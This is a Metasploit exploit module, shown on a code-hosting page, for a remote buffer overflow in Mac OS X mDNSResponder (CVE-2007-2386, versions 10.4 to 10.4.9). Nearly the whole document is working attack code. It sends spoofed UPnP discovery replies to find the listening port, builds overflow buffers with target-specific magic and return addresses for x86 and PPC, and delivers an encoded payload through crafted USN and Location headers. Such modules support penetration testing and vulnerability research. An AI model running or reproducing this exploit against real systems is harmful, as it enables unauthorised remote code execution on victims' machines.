Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/osx/mdns/upnp_location.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Udp910def initialize(info = {})11super(update_info(info,12'Name' => 'Mac OS X mDNSResponder UPnP Location Overflow',13'Description' => %q{14This module exploits a buffer overflow that occurs when processing15specially crafted requests set to mDNSResponder. All Mac OS X systems16between version 10.4 and 10.4.9 (without the 2007-005 patch) are17affected.18},19'License' => MSF_LICENSE,20'Author' =>21[22'ddz'23],24'References' =>25[26[ 'OSVDB', '35142' ],27[ 'CVE', '2007-2386' ],28[ 'BID', '24144' ],29[ 'URL', 'http://support.apple.com/kb/TA24732' ]30],31'DefaultOptions' =>32{33'SRVPORT' => 1900,34'RPORT' => 035},36'Payload' =>37{38'BadChars' => "\x00\x3a\x2f",39'StackAdjustment' => 0,40'Space' => 46841},42'Platform' => 'osx',43'Targets' =>44[45[ '10.4.8 x86',46{ # mDNSResponder-108.247'Arch' => ARCH_X86,48# Offset to mDNSStorage structure49'Offset' => 21000,50'Magic' => 0x8fe510a0,51'g_szRouterHostPortDesc' => 0x53dc0,52}53],54[ '10.4.0 PPC',55{ # mDNSResponder-10756'Arch' => ARCH_PPC,57'Offset' => 21000,58'Magic' => 0x8fe51f4c,59'Ret' => 0x8fe41af8,60}61]62],63'DisclosureDate' => '2007-05-25',64'DefaultTarget' => 1))6566register_options(67[68Opt::LHOST(),69OptPort.new('SRVPORT', [ true, "The UPNP server port to listen on", 1900 ])70])7172@mutex = Mutex.new()73@found_upnp_port = false74@key_to_port = Hash.new()75@upnp_port = 076@client_socket = nil77end7879def check80#81# TODO: Listen on two service ports, one a single character82# shorter than the other (i.e 1900 and 19000). If the copy was83# truncated by strlcpy, it will connect to the service listening84# on the shorter port number.85#86upnp_port = scan_for_upnp_port()87if (upnp_port > 0)88return Exploit::CheckCode::Detected89else90return Exploit::CheckCode::Unsupported91end92end9394def upnp_server(server)95client = server.accept()96request = client.readline()97if (request =~ /GET \/([\da-f]+).xml/)98@mutex.synchronize {99@found_upnp_port = true100@upnp_port = @key_to_port[$1]101102# Important: Keep the client connection open103@client_socket = client104}105end106end107108def scan_for_upnp_port109@upnp_port = 0110@found_upnp_port = false111112upnp_port = 0113114# XXX: Do this in a more Metasploit-y way115server = TCPServer.open(1900)116server_thread = framework.threads.spawn("Module(#{self.refname})-Listener", false) { self.upnp_server(server) }117118begin119socket = Rex::Socket.create_udp120121upnp_location = "http://" + datastore['LHOST'] + ":" + datastore['SRVPORT'].to_s122123print_status("Listening for UPNP requests on: #{upnp_location}")124print_status("Sending UPNP Discovery replies...")125126i = 49152;127while i < 65536 && @mutex.synchronize {128@found_upnp_port == false129}130key = sprintf("%.2x%.2x%.2x%.2x%.2x",131rand(255), rand(255), rand(255), rand(255), rand(255))132133@mutex.synchronize {134@key_to_port[key] = i135}136137upnp_reply = "HTTP/1.1 200 Ok\r\n" +138"ST: urn:schemas-upnp-org:service:WANIPConnection:1\r\n" +139"USN: uuid:7076436f-6e65-1063-8074-0017311c11d4\r\n" +140"Location: #{upnp_location}/#{key}.xml\r\n\r\n"141142socket.sendto(upnp_reply, datastore['RHOST'], i)143144i += 1145end146147@mutex.synchronize {148if (@found_upnp_port)149upnp_port = @upnp_port150end151}152ensure153server.close154server_thread.join155end156157return upnp_port158end159160def exploit161#162# It is very important that we scan for the upnp port. We must163# receive the TCP connection and hold it open, otherwise the164# code path that uses the overwritten function pointer most165# likely won't be used. Holding this connection increases the166# chance that the code path will be used dramatically.167#168upnp_port = scan_for_upnp_port()169170if upnp_port == 0171fail_with(Failure::Unreachable, "Could not find listening UPNP UDP socket")172end173174datastore['RPORT'] = upnp_port175176socket = connect_udp()177178if (target['Arch'] == ARCH_X86)179space = "A" * target['Offset']180space[0, payload.encoded.length] = payload.encoded181182pattern = Rex::Text.pattern_create(47)183pattern[20, 4] = [target['Magic']].pack('V')184pattern[44, 3] = [target['g_szRouterHostPortDesc']].pack('V')[0..2]185186boom = space + pattern187usn = ""188189elsif (target['Arch'] == ARCH_PPC)190space = "A" * target['Offset']191192pattern = Rex::Text.pattern_create(48)193pattern[20, 4] = [target['Magic']].pack('N')194195#196# r26, r27, r30, r31 point to g_szUSN+556197# Ret should be a branch to one of these registers198# And we make sure to put our payload in the USN header199#200pattern[44, 4] = [target['Ret']].pack('N')201202boom = space + pattern203204#205# Start payload at offset 556 within USN206#207usn = "A" * 556 + payload.encoded208end209210upnp_reply = "HTTP/1.1 200 Ok\r\n" +211"ST: urn:schemas-upnp-org:service:WANIPConnection:1\r\n" +212"USN: #{usn}\r\n" +213"Location: http://#{boom}\r\n\r\n"214215print_status("Sending evil UPNP response")216socket.put(upnp_reply)217218print_status("Sleeping to give mDNSDaemonIdle() a chance to run")219select(nil,nil,nil,10)220221handler()222disconnect_udp()223end224end225226227